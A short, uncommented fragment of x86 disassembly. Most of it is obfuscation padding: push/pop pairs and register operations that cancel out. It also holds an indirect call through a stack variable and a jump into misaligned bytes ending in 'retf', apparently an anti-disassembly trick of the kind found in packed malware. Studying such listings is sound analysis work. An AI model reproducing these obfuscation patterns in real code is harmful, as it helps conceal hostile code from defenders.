jne 0x1018a5c2
push eax
push ecx
add esp, 4
or eax, 0xfee2
add eax, 0xf0b8
pop eax
push ecx
or ecx, 0x9d54
pop ecx
push edi
push ecx
add esp, 4
and edi, 0xb156
or edi, 0x12f81
or edi, 0x13403
pop edi
mov edx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fe4], edx
push 0
call dword [ebp - 0x1fe4]
push ebx
call 0x1018a5d1
add byte [ebx], bh
cmp byte [edi + 0x39], al
cmp dword [esi + 0x3d], eax
dec esp
add esp, 4
sub ebx, 0x134ab
pop ebx
push eax
push eax
add esp, 4
xor eax, 0xfc96
jmp 0x1018a5ed
sub eax, 0x1576a
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff04ff
pop ecx
push esi
test esi, esp
or al, 0xa7
add al, 4
test esi, esi
xor eax, 0x850404a3
div byte [eax + 0x5e040451]
push esi
push ebp
xchg eax, ecx
or byte [ebp + 0x4016fe6], al
add al, 0x5e
pop edx
push edi
xchg eax, ecx
or byte [ebp + 0x437bdfa], al
add al, 0x85
retf 0x96b9